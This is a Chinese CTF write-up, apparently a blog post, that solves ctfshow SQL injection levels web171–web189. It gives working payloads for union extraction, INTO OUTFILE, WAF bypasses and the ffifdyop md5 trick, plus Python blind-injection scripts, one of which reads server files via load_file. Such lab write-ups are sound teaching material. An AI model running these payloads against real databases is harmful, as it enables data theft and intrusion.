文章目录
web171(无过滤)

通过下面的payload
1' or 1=1 --+
这个payload代到语句中就是
$sql = "select username,password from user where username !='flag' and id = '1' or 1=1 --+' limit 1;";
可以发现即使前面对username和id的判断没成立,后面的1=1也必定成立,所以他会打印所有的用户信息。

成功获得flag
web172

打开题目看到一只猫,此时查看源代码。

发现2.php也就是第二关的真实入口

可以发现比上一关多加了一个对查询到的结果的用户名进行判断。
尝试下面的payload
-1' or 1=1 union select 1,2 --+

可以发现显示的内容有两行并且都是回显点
然后尝试下面payload获取数据库名
-1' or 1=1 union select 1,database() --+

成功获得数据库名为ctfshow_web
再获取表名
-1' or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' ) --+

成功获得表名为ctfshow_user,ctfshow_user2
先查询ctfshow_user的列名
-1' or 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' ) --+

然后查询列信息
-1' or 1=1 union select 1,(select group_concat(username,'~',password) from ctfshow_web.ctfshow_user) --+

发现flag处信息说flag不在这,那试试ctfshow_user2

成功获得flag
其实写完才发现查询语句已经告诉了我们查的是ctfshow_user2,可以直接查这个表的信息,但是这样也演示了一遍常规的解题过程,要熟悉这一套流程。
web173
可以看到这次是对序列化后的查询结果,看是否有flag,如果有则查询不成功,如果没有则查询成功。
那我们输出直接输出我们想要的password就好了
' union select 1,2,password from ctfshow_user3 --+

web174

这次是检测序列化后的结果中是否存在flag或则数字,如果存在则过滤掉。
那其实很容易便能想到将结果通过编码或者是某种替换规则来让结果中没有数字
首先我先想到的是base64编码,但是想到编码后也有数字说明不行。
那么就可以通过mysql中的REPLACE语句,将0-9的数字全部替换成自定义的字母A-J便可以绕过,然后再通过同样的方式解密即可获得flag。payload如下
1 ' union select to_base64(username),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,9,'I'),8,'H'),7,'G'),6,'F'),5,'E'),4,'D'),3,'C'),2,'B'),1,'A') ,0,'J') from ctfshow_user4 --+

成功获得flag,然后我们也可以发现sql语句中可以通过to_base64来进行base64编码,日后可以用来绕过某些规则。比如前面的对flag的过滤就随便绕过。
然后我们编写python脚本将其还原
def convert_flag(encoded_str):
# 定义大写字母到数字的映射规则
mapping = {
"A": "1", "B": "2", "C": "3", "D": "4", "E": "5",
"F": "6", "G": "7", "H": "8", "I": "9", "J": "0"
}
result = []
for char in encoded_str:
if char in mapping:
# 大写字母按规则转换
result.append(mapping[char])
elif char.isupper():
# 如果遇到未定义的大写字母(如 K-Z),保留原字符并提示警告
print(f"警告: 字符 '{char}' 未定义映射规则,将保留原值")
result.append(char)
else:
# 小写字母和符号直接保留
result.append(char)
return "".join(result)
# 输入待转换的字符串
input_str = "acDeGeCI-eGbf-DDCf-HbDG-eaaDEbCCcbIc"
# 调用函数转换
output_str = convert_flag(input_str)
# 输出结果
print(f"转换后的Flag为: ctfshow{{{output_str}}}")
我还是菜鸡,不太会写,所以让ai写的。还是得多写多练代码能力
转换后的Flag为: ctfshow{ac4e7e39-e7bf-443f-8b47-eaa45b33cb9c}
web175

这一次是过滤了所有的ascii码字符,那么想要直接将flag显示出来肯定不太可能了。
这时候可以将查询结果输出到指定文件中,又或者可以时间盲注。

从指纹信息中可以发现使用的是nginx,而nginx的网站根目录是/var/www/html
我们便可以将查询结果输出到根目录下的文件里
payload:
-1' union select username,password from ctfshow_user5 into outfile '/var/www/html/flag.txt' --+

显示接口异常不用管,直接访问flag.txt

web176(开始有过滤)
开始有过滤的sql注入

先尝试最简单的注入
-1' or 1=1 --+

直接拿到flag
web177
测试发现过滤了空格,绕过空格方式有下面几种
/**/
%0a:换行
%09:tab
%0c:换页
括号
反引号``
等等.....
payload:
-1'/**/union/**/select/**/1,username,password/**/from/**/ctfshow_user/**/%23
web178
测试发现过滤了/**/
换别的替代即可
-1'union%0aselect%0a1,username,password%0afrom%0actfshow_user%23

web179
这一次测试发现,%0a与/**/以及%09都不行。试试用%0c
-1'union%0cselect%0c1,username,password%0cfrom%0cctfshow_user%23

web180
测试发现将%23也就是#给过滤了,可以换成–%0c
payload:
-1'union%0cselect%0c1,username,password%0cfrom%0cctfshow_user--%0c

web181
这一次题目将过滤字符告诉我们了
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}
可见将能代替空格的基本都给过滤了,并且select与into也给过滤了。这说明不让我们执行select语句,以及将结果输出到指定文件。
还可以通过下面的payload:
0'||username='flag
0'or(username)='flag
||其实就等效于or
代入到sql语句中就是
select id,username,password from ctfshow_user where username !='flag' and id = '0'||username='flag' limit 1;

web182
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}
这一次将flag也给过滤了
可以通过下面几种方式绕过:
concat拼接flag:
-1'||(username=concat('fl','ag'))and'1'='1
使用like模糊匹配:
-1'||(username)like'%fl%
使用%01代替空格
-1'||'1=1'--%01

web183

post 提交一个 tableName 参数进行查询,猜测表名还是 ctfshow_user:
tableName=ctfshow_user

发现回显只有一个变量$user_count了。
并且依旧过滤了很多字符,但是发现like与where没有过滤,可以尝试模糊匹配
tableName=(ctfshow_user)where(pass)like'ctfshow{%'

尝试匹配不相干的
tableName=(ctfshow_user)where(pass)like'%test%'

十分明显的bool盲注的特征。
那么便可以通过不断往 flag 后面新增字符进行猜解,通过看响应中是否包含$user_count = 1;字段来判断是否匹配成功,最终拼凑成完整的flag;
import requests
url = "http://1705480f-47eb-455e-a5a4-4ef7d39d2871.challenge.ctf.show/select-waf.php"
# flag包含的字符集
dic = "{0123456789-abcdefghijklmnopqrstuvwxyz}"
flag = "ctfshow{"
# 不知道flag多少位,所以循环50次
for i in range(0,50):
# 遍历字符集
for j in dic:
payload = {'tableName': f"(ctfshow_user)where(pass)like'{flag+j}%'"}
response = requests.post(url,data=payload)
if "$user_count = 1;" in response.text:
flag+=j
break
print(flag)
# flag以}结尾则结束
if flag.endswith('}'):
break

成功跑出flag
web184

这一次sql语句变成了count(*),没有指定明确的字段了。
还是先查一下是不是ctfshow_user表
tableName=ctfshow_user

发现表没有变,但是这一次又多过滤了一些字符,引号与where也不能用了。但是like和空格没被过滤。
可以使用having代替where,like匹配的字段可以通过十六进制编码绕过。
补充知识点:having 是从前筛选的字段再筛选,而 where 是从数据表中的字段直接进行的筛选的,如果已经筛选出了某个字段,这种情况下 having 和 where 等效,但是如果没有 select 某个字段,后面直接 having 这个字段,就会报错。
比如说
select goods_price,goods_name from sw_goods where goods_price > 100
与
select goods_price,goods_name from sw_goods having goods_price > 100
等效
select goods_name,goods_number from sw_goods where goods_price > 100
正常
select goods_name,goods_number from sw_goods having goods_price > 100
报错,因为前面并没有筛选出 goods_price 字段
所以payload如下:
tableName=ctfshow_user group by pass having pass like 0x63746673686f777b25
通过group by筛选出一个字段,0x63746673686f777b25是ctfshow{%的十六进制编码。

发现有回显了,那么依然可以使用bool盲注。
我们修改一下上一题的脚本
import requests
url = "http://3b6b22f0-e5f0-45d3-8b9d-535e0ddd80aa.challenge.ctf.show/select-waf.php"
dic = "{0123456789-abcdefghijklmnopqrstuvwxyz}"
dic = [f"{ord(c):02x}" for c in dic] # 将字符转为十六进制格式
flag = "0x63746673686f777b" # ctfshow{
for i in range(0,50):
for j in dic:
payload = {'tableName': f"ctfshow_user group by pass having pass like {flag+j}25"}
response = requests.post(url,data=payload)
if "$user_count = 1;" in response.text:
flag+=j
break
print(flag)
if flag.endswith('7d'): # 以}结尾
flag = flag[2::] # 去除0x
flag = bytes.fromhex(flag)
print(flag)
break

直接跑出flag
web185
这一次将数字都给过滤掉了

可以使用 true 结合 concat 拼接出数字
select concat(true+true+true+true+true,true+true+true+true+true+true)
# 56
附上一个yu师傅的脚本(yu师傅的身影无处不在,实在是太强了)
#author:yu22x
import requests
import string
url="http://5f9e9c0c-2ce8-4188-b023-4f5b9d5ca977.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-{}'
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"
flag=''
for i in range(1,45):
print(i)
for j in s:
d = convert(f'^ctfshow{flag+j}')
data={
'tableName':f' ctfshow_user group by pass having pass regexp({d})'
}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
if j=='}':
exit(0)
break
再附上一个我觉得写的很好的脚本
import requests
def creatNum(n): # 3 = true + true + true
str = ''
for i in range(1,n+1):
if i == 1:
str += "true"
else:
str += "+true"
return str
def creatStr(str): # 将'23'变成 char(true+true),char(true+true+true)
res = ""
for i in range(1,len(str)+1):
temp = ord(str[i-1])
if i == 1:
res = "chr(" + creatNum(temp) + ")"
else:
res += "," + "chr(" + creatNum(temp) + ")"
return res
url = "http://aa30843a-f24f-4fb5-b65d-b754e2918af7.challenge.ctf.show/select-waf.php"
letters = letter = r"{0123456789abcdefg-}hijklmnopqrstuvwxyz"
flag = "ctfshow{"
for i in range(50):
for ch in letters:
result = creatStr(flag + ch)
data = {"tableName":"ctfshow_user group by pass having pass regexp(concat({}))".format(result)}
res = requests.post(url = url, data = data)
if "$user_count = 1;" in res.text:
flag += ch
print(flag)
# if ch == '}':
# exit()
break # 寻找下一个位置 ctfshow{554eba7f-6703-44fd-85ad-c35a8fe3512a}

套上ctfshow{}即可
web186

这一题比上一题多过滤了%|<|>|^
还是可以使用上一关的脚本
import requests
def creatNum(n): # 3 = true + true + true
str = ''
for i in range(1,n+1):
if i == 1:
str += "true"
else:
str += "+true"
return str
def creatStr(str): # 将'23'变成 char(true+true),char(true+true+true)
res = ""
for i in range(1,len(str)+1):
temp = ord(str[i-1])
if i == 1:
res = "chr(" + creatNum(temp) + ")"
else:
res += "," + "chr(" + creatNum(temp) + ")"
return res
url = "http://a22dae2c-2489-431c-955b-1cdb2e81f449.challenge.ctf.show/select-waf.php"
letters = letter = r"{0123456789abcdefg-}hijklmnopqrstuvwxyz"
flag = "ctfshow{"
for i in range(50):
for ch in letters:
result = creatStr(flag + ch)
data = {"tableName":"ctfshow_user group by pass having pass regexp(concat({}))".format(result)}
res = requests.post(url = url, data = data)
if "$user_count = 1;" in res.text:
flag += ch
print(flag)
# if ch == '}':
# exit()
break

web187

md5($_POST[‘password’],true)
对提交的 password 进行 md5 加密,由于 md5 函数第二个参数为 true,因此会返回16 字节的二进制字符串。
要求用户名只能是admin,那么注入点只能是password,但是password会进行md5(…, true)。
这时候便要提一个神奇的字符串:ffifdyop

将这个拿去Hex解密

在转为字符串时会出现乱码 'or’6É]é!r,ùíb。
第一个引号可以将password的引号给闭合,而or后面的第一个字母只要不是0,都会被认为是true,从而实现sql注入的绕过。
所以用户名是admin,密码是ffifdyop。

web188(sql特性)

在sql中,数字和字符串的比较是弱类型的,如果在比较操作中涉及到字符串和数字,SQL 会尝试将字符串转换为数字,那么只要字符串不是以数字开头,比较时都会转为数字 0 。
而此题中的username并没有引号。如果我们让username=0的话,便可以匹配到所有username是以字母开头的。
关于密码的比较使用两个等号,也是弱类型比较。
因此我们可以用户名和密码都输入 0 ,尝试登录一个用户名和密码都不是数字开头的用户:

在响应中可以看到flag

web189

使用00显示密码错误。
题目提示说flag在flag在api/index.php文件中。但是打开查看什么都看不到

第一想法就是通过mysql当中的load_file进行文件读取。
但是此题依旧过滤了大部分的字符

可以使用bool盲注的方式,通过load_file读取文件,并截取每一个字符与可打印字符比对,直到将文件内容全部打印。
脚本如下
#author:yu22x
import requests
import string
url="http://8e7d622f-9b8e-4a11-9388-5b2b4d91f152.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
# 从257个字符开始才是flag
for i in range(257,1000):
print(i)
for j in range(32,128):
#print(chr(j))
data={'username':f"if(ascii(substr(load_file('/var/www/html/api/index.php'),{i},1))={j},1,0)",
'password':'1'}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("\\u67e5\\u8be2\\u5931\\u8d25" in r.text):
flag+=chr(j)
print(flag)
break

&spm=1001.2101.3001.5002&articleId=150500365&d=1&t=3&u=cd5df47fcf344f6d8006e12f4cfc31ed)
3908

被折叠的 条评论
为什么被折叠?



